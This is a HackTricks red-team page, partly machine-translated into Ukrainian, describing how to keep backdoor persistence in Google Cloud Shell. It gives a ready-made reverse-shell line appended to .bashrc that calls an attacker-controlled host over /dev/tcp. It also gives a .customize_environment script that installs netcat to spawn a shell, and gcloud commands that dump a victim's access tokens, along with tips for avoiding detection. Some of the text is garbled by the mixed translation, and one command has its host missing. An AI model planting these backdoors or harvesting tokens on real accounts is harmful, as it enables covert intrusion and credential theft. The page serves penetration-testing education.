GCP - Cloud Shell Persistence

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Cloud Shell

For more information check:

GCP - Cloud Shell Enum

Persistent Backdoor

Google Cloud Shell надає доступ до командного рядка до ваших хмарних ресурсів безпосередньо з браузера і без додаткових витрат.

You can access Google’s Cloud Shell from the web console or running gcloud cloud-shell ssh.

This console has some interesting capabilities for attackers:

  1. Any Google user with access to Google Cloud має доступ до повністю автентифікованого Cloud Shell instance (Service Accounts can, even being Owners of the org).
  2. Said instance will maintain its home directory for at least 120 days якщо не відбувається активність.
  3. There is no capabilities for an organisation to monitor активність цього екземпляра.

Це фактично означає, що attacker може помістити backdoor у домашній каталог користувача, і доки користувач підключається до GC Shell щонайменше раз на 120 днів, backdoor переживатиме, і attacker отримає shell щоразу при його запуску просто виконавши:

Додати reverse shell до .bashrc ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```

Існує ще один файл у домашньому каталозі під назвою .customize_environment, який, якщо існує, буде виконуватись щоразу, коли користувач отримує доступ до cloud shell (як у попередній техніці). Просто вставте попередній backdoor або такий, як наведений нижче, щоб підтримувати persistence поки користувач “часто” користується cloud shell:

Створити .customize_environment backdoor ```bash #!/bin/sh apt-get install netcat -y nc 443 -e /bin/bash ```

Warning

Важливо зауважити, що при першому виконанні дії, яка потребує аутентифікації, у браузері користувача з’являється спливаюче вікно авторизації. Це вікно потрібно прийняти перед тим, як команда зможе виконатися. Якщо з’являється несподіване спливаюче вікно, це може викликати підозру і потенційно скомпрометувати метод підтримки доступу.

This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:

However, if the user has actively used the Cloud Shell, the pop-up won’t appear and you can gather tokens of the user with:

Отримати access tokens з Cloud Shell ```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```

Як встановлюється SSH-з’єднання

Basically, these 3 API calls are used:

But you can find further information in https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks